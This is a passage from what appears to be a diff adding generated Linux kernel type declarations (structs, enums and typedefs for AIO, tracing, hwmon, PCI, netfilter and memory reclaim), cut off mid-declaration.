SPEC_STORE_BYPASS_CMD_NONE = 0, + SPEC_STORE_BYPASS_CMD_AUTO = 1, + SPEC_STORE_BYPASS_CMD_ON = 2, + SPEC_STORE_BYPASS_CMD_PRCTL = 3, + SPEC_STORE_BYPASS_CMD_SECCOMP = 4, +}; + +union ftrace_op_code_union { + char code[7]; + struct { + char op[3]; + int offset; + } __attribute__((packed)); +}; + +struct ftrace_rec_iter; + +struct warn_args { + const char *fmt; + va_list args; +}; + +enum pci_p2pdma_map_type { + PCI_P2PDMA_MAP_UNKNOWN = 0, + PCI_P2PDMA_MAP_NOT_SUPPORTED = 1, + PCI_P2PDMA_MAP_BUS_ADDR = 2, + PCI_P2PDMA_MAP_THRU_HOST_BRIDGE = 3, +}; + +struct pci_p2pdma_map_state { + struct dev_pagemap *pgmap; + int map; + u64 bus_off; +}; + +struct module_string { + struct list_head next; + struct module *module; + char *str; +}; + +enum { + FORMAT_HEADER = 1, + FORMAT_FIELD_SEPERATOR = 2, + FORMAT_PRINTFMT = 3, +}; + +struct boot_triggers { + const char *event; + char *trigger; +}; + +struct event_probe_data { + struct trace_event_file *file; + long unsigned int count; + int ref; + bool enable; +}; + +typedef u64 (*btf_bpf_task_storage_get_recur)(struct bpf_map *, struct task_struct *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_task_storage_get)(struct bpf_map *, struct task_struct *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_task_storage_delete_recur)(struct bpf_map *, struct task_struct *); + +typedef u64 (*btf_bpf_task_storage_delete)(struct bpf_map *, struct task_struct *); + +struct kioctx; + +struct kioctx_table { + struct callback_head rcu; + unsigned int nr; + struct kioctx *table[0]; +}; + +typedef __kernel_ulong_t aio_context_t; + +enum { + IOCB_CMD_PREAD = 0, + IOCB_CMD_PWRITE = 1, + IOCB_CMD_FSYNC = 2, + IOCB_CMD_FDSYNC = 3, + IOCB_CMD_POLL = 5, + IOCB_CMD_NOOP = 6, + IOCB_CMD_PREADV = 7, + IOCB_CMD_PWRITEV = 8, +}; + +struct io_event { + __u64 data; + __u64 obj; + __s64 res; + __s64 res2; +}; + +struct iocb { + __u64 aio_data; + __u32 aio_key; + __kernel_rwf_t aio_rw_flags; + __u16 aio_lio_opcode; + __s16 aio_reqprio; + __u32 aio_fildes; + __u64 aio_buf; + __u64 aio_nbytes; + __s64 aio_offset; + __u64 aio_reserved2; + __u32 aio_flags; + __u32 aio_resfd; +}; + +typedef int kiocb_cancel_fn(struct kiocb *); + +struct aio_ring { + unsigned int id; + unsigned int nr; + unsigned int head; + unsigned int tail; + unsigned int magic; + unsigned int compat_features; + unsigned int incompat_features; + unsigned int header_length; + struct io_event io_events[0]; +}; + +struct kioctx_cpu; + +struct ctx_rq_wait; + +struct kioctx { + struct percpu_ref users; + atomic_t dead; + struct percpu_ref reqs; + long unsigned int user_id; + struct kioctx_cpu *cpu; + unsigned int req_batch; + unsigned int max_reqs; + unsigned int nr_events; + long unsigned int mmap_base; + long unsigned int mmap_size; + struct page **ring_pages; + long int nr_pages; + struct rcu_work free_rwork; + struct ctx_rq_wait *rq_wait; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct { + atomic_t reqs_available; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct { + spinlock_t ctx_lock; + struct list_head active_reqs; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct { + struct mutex ring_lock; + wait_queue_head_t wait; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct { + unsigned int tail; + unsigned int completed_events; + spinlock_t completion_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct page *internal_pages[8]; + struct file *aio_ring_file; + unsigned int id; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct kioctx_cpu { + unsigned int reqs_available; +}; + +struct ctx_rq_wait { + struct completion comp; + atomic_t count; +}; + +struct fsync_iocb { + struct file *file; + struct work_struct work; + bool datasync; + struct cred *creds; +}; + +struct poll_iocb { + struct file *file; + struct wait_queue_head *head; + __poll_t events; + bool cancelled; + bool work_scheduled; + bool work_need_resched; + struct wait_queue_entry wait; + struct work_struct work; +}; + +struct aio_kiocb { + union { + struct file *ki_filp; + struct kiocb rw; + struct fsync_iocb fsync; + struct poll_iocb poll; + }; + struct kioctx *ki_ctx; + kiocb_cancel_fn *ki_cancel; + struct io_event ki_res; + struct list_head ki_list; + refcount_t ki_refcnt; + struct eventfd_ctx *ki_eventfd; +}; + +struct aio_poll_table { + struct poll_table_struct pt; + struct aio_kiocb *iocb; + bool queued; + int error; +}; + +struct __aio_sigset { + const sigset_t *sigmask; + size_t sigsetsize; +}; + +struct ext4_new_group_data { + __u32 group; + __u64 block_bitmap; + __u64 inode_bitmap; + __u64 inode_table; + __u32 blocks_count; + __u16 reserved_blocks; + __u16 mdata_blocks; + __u32 free_clusters_count; +}; + +enum { + BLOCK_BITMAP = 0, + INODE_BITMAP = 1, + INODE_TABLE = 2, + GROUP_TABLE_COUNT = 3, +}; + +struct ext4_rcu_ptr { + struct callback_head rcu; + void *ptr; +}; + +struct ext4_new_flex_group_data { + struct ext4_new_group_data *groups; + __u16 *bg_flags; + ext4_group_t count; +}; + +struct getdents_callback___2 { + struct dir_context ctx; + char *name; + u64 ino; + int found; + int sequence; +}; + +struct hashtab_info { + u32 slots_used; + u32 max_chain_len; +}; + +struct path; + +struct blk_major_name { + struct blk_major_name *next; + int major; + char name[16]; + void (*probe)(dev_t); +}; + +struct io_poll_update { + struct file *file; + u64 old_user_data; + u64 new_user_data; + __poll_t events; + bool update_events; + bool update_user_data; +}; + +struct io_poll_table { + struct poll_table_struct pt; + struct io_kiocb *req; + int nr_entries; + int error; + bool owning; + __poll_t result_mask; +}; + +enum { + IOU_POLL_DONE = 0, + IOU_POLL_NO_ACTION = 1, + IOU_POLL_REMOVE_POLL_USE_RES = 2, + IOU_POLL_REISSUE = 3, +}; + +enum pcie_reset_state { + pcie_deassert_reset = 1, + pcie_warm_reset = 2, + pcie_hot_reset = 3, +}; + +enum pcie_link_width { + PCIE_LNK_WIDTH_RESRV = 0, + PCIE_LNK_X1 = 1, + PCIE_LNK_X2 = 2, + PCIE_LNK_X4 = 4, + PCIE_LNK_X8 = 8, + PCIE_LNK_X12 = 12, + PCIE_LNK_X16 = 16, + PCIE_LNK_X32 = 32, + PCIE_LNK_WIDTH_UNKNOWN = 255, +}; + +typedef int (*arch_set_vga_state_t)(struct pci_dev *, bool, unsigned int, u32); + +struct pci_reset_fn_method { + int (*reset_fn)(struct pci_dev *, bool); + char *name; +}; + +struct pci_pme_device { + struct list_head list; + struct pci_dev *dev; +}; + +struct pci_saved_state { + u32 config_space[16]; + struct pci_cap_saved_data cap[0]; +}; + +struct pci_devres { + unsigned int enabled: 1; + unsigned int pinned: 1; + unsigned int orig_intx: 1; + unsigned int restore_intx: 1; + unsigned int mwi: 1; + u32 region_mask; +}; + +enum { + ACPI_BUTTON_LID_INIT_IGNORE = 0, + ACPI_BUTTON_LID_INIT_OPEN = 1, + ACPI_BUTTON_LID_INIT_METHOD = 2, + ACPI_BUTTON_LID_INIT_DISABLED = 3, +}; + +struct acpi_button { + unsigned int type; + struct input_dev *input; + char phys[32]; + long unsigned int pushed; + int last_state; + ktime_t last_time; + bool suspended; + bool lid_state_initialized; +}; + +struct req { + struct req *next; + struct completion done; + int err; + const char *name; + umode_t mode; + kuid_t uid; + kgid_t gid; + struct device *dev; +}; + +enum hwmon_sensor_types { + hwmon_chip = 0, + hwmon_temp = 1, + hwmon_in = 2, + hwmon_curr = 3, + hwmon_power = 4, + hwmon_energy = 5, + hwmon_humidity = 6, + hwmon_fan = 7, + hwmon_pwm = 8, + hwmon_intrusion = 9, + hwmon_max = 10, +}; + +enum hwmon_temp_attributes { + hwmon_temp_enable = 0, + hwmon_temp_input = 1, + hwmon_temp_type = 2, + hwmon_temp_lcrit = 3, + hwmon_temp_lcrit_hyst = 4, + hwmon_temp_min = 5, + hwmon_temp_min_hyst = 6, + hwmon_temp_max = 7, + hwmon_temp_max_hyst = 8, + hwmon_temp_crit = 9, + hwmon_temp_crit_hyst = 10, + hwmon_temp_emergency = 11, + hwmon_temp_emergency_hyst = 12, + hwmon_temp_alarm = 13, + hwmon_temp_lcrit_alarm = 14, + hwmon_temp_min_alarm = 15, + hwmon_temp_max_alarm = 16, + hwmon_temp_crit_alarm = 17, + hwmon_temp_emergency_alarm = 18, + hwmon_temp_fault = 19, + hwmon_temp_offset = 20, + hwmon_temp_label = 21, + hwmon_temp_lowest = 22, + hwmon_temp_highest = 23, + hwmon_temp_reset_history = 24, + hwmon_temp_rated_min = 25, + hwmon_temp_rated_max = 26, +}; + +enum hwmon_in_attributes { + hwmon_in_enable = 0, + hwmon_in_input = 1, + hwmon_in_min = 2, + hwmon_in_max = 3, + hwmon_in_lcrit = 4, + hwmon_in_crit = 5, + hwmon_in_average = 6, + hwmon_in_lowest = 7, + hwmon_in_highest = 8, + hwmon_in_reset_history = 9, + hwmon_in_label = 10, + hwmon_in_alarm = 11, + hwmon_in_min_alarm = 12, + hwmon_in_max_alarm = 13, + hwmon_in_lcrit_alarm = 14, + hwmon_in_crit_alarm = 15, + hwmon_in_rated_min = 16, + hwmon_in_rated_max = 17, +}; + +enum hwmon_curr_attributes { + hwmon_curr_enable = 0, + hwmon_curr_input = 1, + hwmon_curr_min = 2, + hwmon_curr_max = 3, + hwmon_curr_lcrit = 4, + hwmon_curr_crit = 5, + hwmon_curr_average = 6, + hwmon_curr_lowest = 7, + hwmon_curr_highest = 8, + hwmon_curr_reset_history = 9, + hwmon_curr_label = 10, + hwmon_curr_alarm = 11, + hwmon_curr_min_alarm = 12, + hwmon_curr_max_alarm = 13, + hwmon_curr_lcrit_alarm = 14, + hwmon_curr_crit_alarm = 15, + hwmon_curr_rated_min = 16, + hwmon_curr_rated_max = 17, +}; + +struct hwmon_ops { + umode_t (*is_visible)(const void *, enum hwmon_sensor_types, u32, int); + int (*read)(struct device *, enum hwmon_sensor_types, u32, int, long int *); + int (*read_string)(struct device *, enum hwmon_sensor_types, u32, int, const char **); + int (*write)(struct device *, enum hwmon_sensor_types, u32, int, long int); +}; + +struct hwmon_channel_info { + enum hwmon_sensor_types type; + const u32 *config; +}; + +struct hwmon_chip_info { + const struct hwmon_ops *ops; + const struct hwmon_channel_info * const *info; +}; + +struct power_supply_hwmon { + struct power_supply *psy; + long unsigned int *props; +}; + +struct hwmon_type_attr_list { + const u32 *attrs; + size_t n_attrs; +}; + +struct cs_policy_dbs_info { + struct policy_dbs_info policy_dbs; + unsigned int down_skip; + unsigned int requested_freq; +}; + +struct cs_dbs_tuners { + unsigned int down_threshold; + unsigned int freq_step; +}; + +struct trace_event_raw_bpf_test_finish { + struct trace_entry ent; + int err; + char __data[0]; +}; + +struct trace_event_data_offsets_bpf_test_finish {}; + +typedef void (*btf_trace_bpf_test_finish)(void *, int *); + +struct bpf_test_timer { + enum { + NO_PREEMPT = 0, + NO_MIGRATE = 1, + } mode; + u32 i; + u64 time_start; + u64 time_spent; +}; + +struct xdp_page_head { + struct xdp_buff orig_ctx; + struct xdp_buff ctx; + union { + struct { + struct {} __empty_frame; + struct xdp_frame frame[0]; + }; + struct { + struct {} __empty_data; + u8 data[0]; + }; + }; +}; + +struct xdp_test_data { + struct xdp_buff *orig_ctx; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct xdp_rxq_info rxq; + struct net_device *dev; + struct page_pool *pp; + struct xdp_frame **frames; + struct sk_buff **skbs; + struct xdp_mem_info mem; + u32 batch_size; + u32 frame_cnt; + long: 64; + long: 64; +}; + +struct bpf_fentry_test_t { + struct bpf_fentry_test_t *a; +}; + +struct prog_test_member1 { + int a; +}; + +struct prog_test_member { + struct prog_test_member1 m; + int c; +}; + +struct prog_test_ref_kfunc { + int a; + int b; + struct prog_test_member memb; + struct prog_test_ref_kfunc *next; + refcount_t cnt; +}; + +struct bpf_raw_tp_test_run_info { + struct bpf_prog *prog; + void *ctx; + u32 retval; +}; + +struct eee_reply_data { + struct ethnl_reply_data base; + struct ethtool_eee eee; +}; + +enum nfulnl_msg_types { + NFULNL_MSG_PACKET = 0, + NFULNL_MSG_CONFIG = 1, + NFULNL_MSG_MAX = 2, +}; + +struct nfulnl_msg_packet_hdr { + __be16 hw_protocol; + __u8 hook; + __u8 _pad; +}; + +struct nfulnl_msg_packet_hw { + __be16 hw_addrlen; + __u16 _pad; + __u8 hw_addr[8]; +}; + +struct nfulnl_msg_packet_timestamp { + __be64 sec; + __be64 usec; +}; + +enum nfulnl_vlan_attr { + NFULA_VLAN_UNSPEC = 0, + NFULA_VLAN_PROTO = 1, + NFULA_VLAN_TCI = 2, + __NFULA_VLAN_MAX = 3, +}; + +enum nfulnl_attr_type { + NFULA_UNSPEC = 0, + NFULA_PACKET_HDR = 1, + NFULA_MARK = 2, + NFULA_TIMESTAMP = 3, + NFULA_IFINDEX_INDEV = 4, + NFULA_IFINDEX_OUTDEV = 5, + NFULA_IFINDEX_PHYSINDEV = 6, + NFULA_IFINDEX_PHYSOUTDEV = 7, + NFULA_HWADDR = 8, + NFULA_PAYLOAD = 9, + NFULA_PREFIX = 10, + NFULA_UID = 11, + NFULA_SEQ = 12, + NFULA_SEQ_GLOBAL = 13, + NFULA_GID = 14, + NFULA_HWTYPE = 15, + NFULA_HWHEADER = 16, + NFULA_HWLEN = 17, + NFULA_CT = 18, + NFULA_CT_INFO = 19, + NFULA_VLAN = 20, + NFULA_L2HDR = 21, + __NFULA_MAX = 22, +}; + +enum nfulnl_msg_config_cmds { + NFULNL_CFG_CMD_NONE = 0, + NFULNL_CFG_CMD_BIND = 1, + NFULNL_CFG_CMD_UNBIND = 2, + NFULNL_CFG_CMD_PF_BIND = 3, + NFULNL_CFG_CMD_PF_UNBIND = 4, +}; + +struct nfulnl_msg_config_cmd { + __u8 command; +}; + +struct nfulnl_msg_config_mode { + __be32 copy_range; + __u8 copy_mode; + __u8 _pad; +} __attribute__((packed)); + +enum nfulnl_attr_config { + NFULA_CFG_UNSPEC = 0, + NFULA_CFG_CMD = 1, + NFULA_CFG_MODE = 2, + NFULA_CFG_NLBUFSIZ = 3, + NFULA_CFG_TIMEOUT = 4, + NFULA_CFG_QTHRESH = 5, + NFULA_CFG_FLAGS = 6, + __NFULA_CFG_MAX = 7, +}; + +struct nfulnl_instance { + struct hlist_node hlist; + spinlock_t lock; + refcount_t use; + unsigned int qlen; + struct sk_buff *skb; + struct timer_list timer; + struct net *net; + netns_tracker ns_tracker; + struct user_namespace *peer_user_ns; + u32 peer_portid; + unsigned int flushtimeout; + unsigned int nlbufsiz; + unsigned int qthreshold; + u_int32_t copy_range; + u_int32_t seq; + u_int16_t group_num; + u_int16_t flags; + u_int8_t copy_mode; + struct callback_head rcu; +}; + +struct nfnl_log_net { + spinlock_t instances_lock; + struct hlist_head instance_table[16]; + atomic_t global_seq; +}; + +struct tcp4_pseudohdr { + __be32 saddr; + __be32 daddr; + __u8 pad; + __u8 protocol; + __be16 len; +}; + +struct bpf_tcp_iter_state { + struct tcp_iter_state state; + unsigned int cur_sk; + unsigned int end_sk; + unsigned int max_sk; + struct sock **batch; + bool st_bucket_done; +}; + +struct bpf_iter__tcp { + union { + struct bpf_iter_meta *meta; + }; + union { + struct sock_common *sk_common; + }; + uid_t uid; +}; + +struct xfrm_input_afinfo { + u8 family; + bool is_ipip; + int (*callback)(struct sk_buff *, u8, int); +}; + +struct xfrm_trans_tasklet { + struct work_struct work; + spinlock_t queue_lock; + struct sk_buff_head queue; +}; + +struct xfrm_trans_cb { + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + } header; + int (*finish)(struct net *, struct sock *, struct sk_buff *); + struct net *net; +}; + +typedef void ip6_icmp_send_t(struct sk_buff *, u8, u8, __u32, const struct in6_addr *, const struct inet6_skb_parm *); + +struct icmpv6_msg { + struct sk_buff *skb; + int offset; + uint8_t type; +}; + +struct icmp6_err { + int err; + int fatal; +}; + +typedef int (*lookup_by_table_id_t)(struct net *, u32); + +struct l3mdev_handler { + lookup_by_table_id_t dev_lookup; +}; + +struct mptcp_subflow_data { + __u32 size_subflow_data; + __u32 num_subflows; + __u32 size_kernel; + __u32 size_user; +}; + +struct mptcp_subflow_addrs { + union { + __kernel_sa_family_t sa_family; + struct sockaddr sa_local; + struct sockaddr_in sin_local; + struct sockaddr_in6 sin6_local; + struct __kernel_sockaddr_storage ss_local; + }; + union { + struct sockaddr sa_remote; + struct sockaddr_in sin_remote; + struct sockaddr_in6 sin6_remote; + struct __kernel_sockaddr_storage ss_remote; + }; +}; + +struct change_member { + struct e820_entry *entry; + long long unsigned int addr; +}; + +struct stack_frame_user { + const void *next_fp; + long unsigned int ret_addr; +}; + +enum mce_notifier_prios { + MCE_PRIO_LOWEST = 0, + MCE_PRIO_MCELOG = 1, + MCE_PRIO_EDAC = 2, + MCE_PRIO_NFIT = 3, + MCE_PRIO_EXTLOG = 4, + MCE_PRIO_UC = 5, + MCE_PRIO_EARLY = 6, + MCE_PRIO_CEC = 7, + MCE_PRIO_HIGHEST = 7, +}; + +struct trace_event_raw_mce_record { + struct trace_entry ent; + u64 mcgcap; + u64 mcgstatus; + u64 status; + u64 addr; + u64 misc; + u64 synd; + u64 ipid; + u64 ip; + u64 tsc; + u64 walltime; + u32 cpu; + u32 cpuid; + u32 apicid; + u32 socketid; + u8 cs; + u8 bank; + u8 cpuvendor; + char __data[0]; +}; + +struct trace_event_data_offsets_mce_record {}; + +typedef void (*btf_trace_mce_record)(void *, struct mce *); + +struct mce_bank_dev { + struct device_attribute attr; + char attrname[16]; + u8 bank; +}; + +struct amd_northbridge_info { + u16 num; + u64 flags; + struct amd_northbridge *nb; +}; + +struct exception_stacks { + char DF_stack_guard[0]; + char DF_stack[8192]; + char NMI_stack_guard[0]; + char NMI_stack[8192]; + char DB_stack_guard[0]; + char DB_stack[8192]; + char MCE_stack_guard[0]; + char MCE_stack[8192]; + char VC_stack_guard[0]; + char VC_stack[0]; + char VC2_stack_guard[0]; + char VC2_stack[0]; + char IST_top_guard[0]; +}; + +struct trace_event_raw_lock_acquire { + struct trace_entry ent; + unsigned int flags; + u32 __data_loc_name; + void *lockdep_addr; + char __data[0]; +}; + +struct trace_event_raw_lock { + struct trace_entry ent; + u32 __data_loc_name; + void *lockdep_addr; + char __data[0]; +}; + +struct trace_event_raw_contention_begin { + struct trace_entry ent; + void *lock_addr; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_contention_end { + struct trace_entry ent; + void *lock_addr; + int ret; + char __data[0]; +}; + +struct trace_event_data_offsets_lock_acquire { + u32 name; +}; + +struct trace_event_data_offsets_lock { + u32 name; +}; + +struct trace_event_data_offsets_contention_begin {}; + +struct trace_event_data_offsets_contention_end {}; + +typedef void (*btf_trace_lock_acquire)(void *, struct lockdep_map *, unsigned int, int, int, int, struct lockdep_map *, long unsigned int); + +typedef void (*btf_trace_lock_release)(void *, struct lockdep_map *, long unsigned int); + +typedef void (*btf_trace_contention_begin)(void *, void *, unsigned int); + +typedef void (*btf_trace_contention_end)(void *, void *, int); + +struct audit_parent; + +struct audit_watch { + refcount_t count; + dev_t dev; + char *path; + long unsigned int ino; + struct audit_parent *parent; + struct list_head wlist; + struct list_head rules; +}; + +struct audit_parent { + struct list_head watches; + struct fsnotify_mark mark; +}; + +struct trace_export { + struct trace_export *next; + void (*write)(struct trace_export *, const void *, unsigned int); + int flags; +}; + +enum trace_iter_flags { + TRACE_FILE_LAT_FMT = 1, + TRACE_FILE_ANNOTATE = 2, + TRACE_FILE_TIME_IN_NS = 4, +}; + +struct stack_entry { + struct trace_entry ent; + int size; + long unsigned int caller[8]; +}; + +struct userstack_entry { + struct trace_entry ent; + unsigned int tgid; + long unsigned int caller[8]; +}; + +struct bprint_entry { + struct trace_entry ent; + long unsigned int ip; + const char *fmt; + u32 buf[0]; +}; + +struct print_entry { + struct trace_entry ent; + long unsigned int ip; + char buf[0]; +}; + +struct raw_data_entry { + struct trace_entry ent; + unsigned int id; + char buf[0]; +}; + +struct bputs_entry { + struct trace_entry ent; + long unsigned int ip; + const char *str; +}; + +struct func_repeats_entry { + struct trace_entry ent; + long unsigned int ip; + long unsigned int parent_ip; + u16 count; + u16 top_delta_ts; + u32 bottom_delta_ts; +}; + +typedef bool (*cond_update_fn_t)(struct trace_array *, void *); + +struct trace_min_max_param { + struct mutex *lock; + u64 *val; + u64 *min; + u64 *max; +}; + +struct saved_cmdlines_buffer { + unsigned int map_pid_to_cmdline[32769]; + unsigned int *map_cmdline_to_pid; + unsigned int cmdline_num; + int cmdline_idx; + char *saved_cmdlines; +}; + +struct ftrace_stack { + long unsigned int calls[1024]; +}; + +struct ftrace_stacks { + struct ftrace_stack stacks[4]; +}; + +struct trace_buffer_struct { + int nesting; + char buffer[4096]; +}; + +struct ftrace_buffer_info { + struct trace_iterator iter; + void *spare; + unsigned int spare_cpu; + unsigned int read; +}; + +struct err_info { + const char **errs; + u8 type; + u16 pos; + u64 ts; +}; + +struct tracing_log_err { + struct list_head list; + struct err_info info; + char loc[128]; + char *cmd; +}; + +struct buffer_ref { + struct trace_buffer *buffer; + void *page; + int cpu; + refcount_t refcount; +}; + +enum lruvec_flags { + LRUVEC_CONGESTED = 0, +}; + +enum pgdat_flags { + PGDAT_DIRTY = 0, + PGDAT_WRITEBACK = 1, + PGDAT_RECLAIM_LOCKED = 2, +}; + +struct reclaim_stat { + unsigned int nr_dirty; + unsigned int nr_unqueued_dirty; + unsigned int nr_congested; + unsigned int nr_writeback; + unsigned int nr_immediate; + unsigned int nr_pageout; + unsigned int nr_activate[2]; + unsigned int nr_ref_keep; + unsigned int nr_unmap_fail; + unsigned int nr_lazyfree_fail; +}; + +struct trace_event_raw_mm_vmscan_kswapd_sleep { + struct trace_entry ent; + int nid; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_kswapd_wake { + struct trace_entry ent; + int nid; + int zid; + int order; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_wakeup_kswapd { + struct trace_entry ent; + int nid; + int zid; + int order; + long unsigned int gfp_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_direct_reclaim_begin_template { + struct trace_entry ent; + int order; + long unsigned int gfp_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_direct_reclaim_end_template { + struct trace_entry ent; + long unsigned int nr_reclaimed; + char __data[0]; +}; + +struct trace_event_raw_mm_shrink_slab_start { + struct trace_entry ent; + struct shrinker *shr; + void *shrink; + int nid; + long int nr_objects_to_shrink; + long unsigned int gfp_flags; + long unsigned int cache_items; + long long unsigned int delta; + long unsigned int total_scan; + int priority; + char __data[0]; +}; + +struct trace_event_raw_mm_shrink_slab_end { + struct trace_entry ent; + struct shrinker *shr; + int nid; + void *shrink; + long int unused_scan; + long int new_scan; + int retval; + long int total_scan; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_lru_isolate { + struct trace_entry ent; + int highest_zoneidx; + int order; + long unsigned int nr_requested; + long unsigned int nr_scanned; + long unsigned int nr_skipped; + long unsigned int nr_taken; + unsigned int isolate_mode; + int lru; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_write_folio { + struct trace_entry ent; + long unsigned int pfn; + int reclaim_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_lru_shrink_inactive { + struct trace_entry ent; + int nid; + long unsigned int nr_scanned; + long unsigned int nr_reclaimed; + long unsigned int nr_dirty; + long unsigned int nr_writeback; + long unsigned int nr_congested; + long unsigned int nr_immediate; + unsigned int nr_activate0; + unsigned int nr_activate1; + long unsigned int nr_ref_keep; + long unsigned int nr_unmap_fail; + int priority; + int reclaim_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_lru_shrink_active { + struct trace_entry ent; + int nid; + long unsigned int nr_taken; + long unsigned int nr_active; + long unsigned int nr_deactivated; + long unsigned int nr_referenced; + int priority; + int reclaim_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_node_reclaim_begin { + struct trace_entry ent; + int nid; + int order; + long unsigned int gfp_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_throttled { + struct trace_entry ent; + int nid; + int usec_timeout; + int usec_delayed; + int reason; + char __data[0]; +}; + +struct trace_event_data_offsets_mm_vmscan_kswapd_sleep {}; + +struct trace_event_data_offsets_mm_vmscan_kswapd_wake {}; + +struct trace_event_data_offsets_mm_vmscan_wakeup_kswapd {}; + +struct trace_event_data_offsets_mm_vmscan_direct_reclaim_begin_template {}; + +struct trace_event_data_offsets_mm_vmscan_direct_reclaim_end_template {}; + +struct trace_event_data_offsets_mm_shrink_slab_start {}; + +struct trace_event_data_offsets_mm_shrink_slab_end {}; + +struct trace_event_data_offsets_mm_vmscan_lru_isolate {}; + +struct trace_event_data_offsets_mm_vmscan_write_folio {}; + +struct trace_event_data_offsets_mm_vmscan_lru_shrink_inactive {}; + +struct trace_event_data_offsets_mm_vmscan_lru_shrink_active {}; + +struct trace_event_data_offsets_mm_vmscan_node_reclaim_begin {}; + +struct trace_event_data_offsets_mm_vmscan_throttled {}; + +typedef void (*btf_trace_mm_vmscan_kswapd_sleep)(void *, int); + +typedef void (*btf_trace_mm_vmscan_kswapd_wake)(void *, int, int, int); + +typedef void (*btf_trace_mm_vmscan_wakeup_kswapd)(void *, int, int, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_direct_reclaim_begin)(void *, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_memcg_reclaim_begin)(void *, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_memcg_softlimit_reclaim_begin)(void *, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_direct_reclaim_end)(void *, long unsigned int); + +typedef void (*btf_trace_mm_vmscan_memcg_reclaim_end)(void *, long unsigned int); + +typedef void (*btf_trace_mm_vmscan_memcg_softlimit_reclaim_end)(void *, long unsigned int); + +typedef void (*btf_trace_mm_shrink_slab_start)(void *, struct shrinker *, struct shrink_control *, long int, long unsigned int, long long unsigned int, long unsigned int, int); + +typedef void (*btf_trace_mm_shrink_slab_end)(void *, struct shrinker *, int, int, long int, long int, long int); + +typedef void (*btf_trace_mm_vmscan_lru_isolate)(void *, int, int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, isolate_mode_t, int); + +typedef void (*btf_trace_mm_vmscan_write_folio)(void *, struct folio *); + +typedef void (*btf_trace_mm_vmscan_lru_shrink_inactive)(void *, int, long unsigned int, long unsigned int, struct reclaim_stat *, int, int); + +typedef void (*btf_trace_mm_vmscan_lru_shrink_active)(void *, int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, int, int); + +typedef void (*btf_trace_mm_vmscan_node_reclaim_begin)(void *, int, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_node_reclaim_end)(void *, long unsigned int); + +typedef void (*btf_trace_mm_vmscan_throttled)(void *, int, int, int, int); + +struct scan_control { + long unsigned int nr_to_reclaim; + nodemask_t *nodemask; + struct mem_cgroup *target_mem_cgroup; + long unsigned int anon_cost; + long unsigned int file_cost; + unsigned int may_deactivate: 2; + unsigned int force_deactivate: 1; + unsigned int skipped_deactivate: 1; + unsigned int may_writepage: 1; + unsigned int may_unmap: 1; + unsigned int may_swap: 1; + unsigned int proactive: 1; + unsigned int memcg_low_reclaim: 1; + unsigned int memcg_low_skipped: 1; + unsigned int hibernation_mode: 1; + unsigned int compaction_ready: 1; + unsigned int cache_trim_mode: 1; + unsigned int file_is_tiny: 1; + unsigned int no_demotion: 1; + s8 order; + s8 priority; + s8 reclaim_idx; + gfp_t gfp_mask; + long unsigned int nr_scanned; + long unsigned int nr_reclaimed; + struct { + unsigned int dirty; + unsigned int unqueued_dirty; + unsigned int congested; + unsigned int writeback; + unsigned int immediate; + unsigned int file_taken; + unsigned int taken; + } nr; + struct reclaim_state reclaim_state; +}; + +typedef enum { + PAGE_KEEP = 0, + PAGE_ACTIVATE = 1, + PAGE_SUCCESS = 2, + PAGE_CLEAN = 3, +} pageout_t; + +enum folio_references { + FOLIOREF_RECLAIM = 0, + FOLIOREF_RECLAIM_CLEAN = 1, + FOLIOREF_KEEP = 2, + FOLIOREF_ACTIVATE = 3, +}; + +enum scan_balance { + SCAN_EQUAL = 0, + SCAN_FRACT = 1, + SCAN_ANON = 2, + SCAN_FILE = 3, +}; + +typedef struct page *new_page_t(struct page *, long unsigned int); + +typedef void free_page_t(struct page *, long unsigned int); + +union migration_ptr { + struct anon_vma *anon_vma; + struct address_space *mapping; +}; + +struct migrate_pages_stats { + int nr_succeeded; + int nr_failed_pages; + int nr_thp_succeeded; + int nr_thp_failed; + int nr_thp_split; +}; + +typedef __kernel_mode_t mode_t; + +struct orlov_stats { + __u64 free_clusters; + __u32 free_inodes; + __u32 used_dirs; +}; + +struct trace_event_raw_jbd2_checkpoint { + struct trace_entry ent; + dev_t dev; + int result; + char __data[0]; +}; + +struct trace_event_raw_jbd2_commit { + struct trace_entry ent; + dev_t dev; + char sync_commit; + tid_t transaction; + char __data[0]; +}; + +struct trace_event_raw_jbd2_end_commit { + struct trace_entry ent; + dev_t dev; + char sync_commit; + tid_t transaction; + tid_t head; + char __data[0]; +}; + +struct trace_event_raw_jbd2_submit_inode_data { + struct trace_entry ent; + dev_t dev; + ino_t ino; + char __data[0]; +}; + +struct trace_event_raw_jbd2_handle_start_class { + struct trace_entry ent; + dev_t dev; + tid_t tid; + unsigned int type; + unsigned int line_no; + int requested_blocks; + char __data[0]; +}; + +struct trace_event_raw_jbd2_handle_extend { + struct trace_entry ent; + dev_t dev; + tid_t tid; 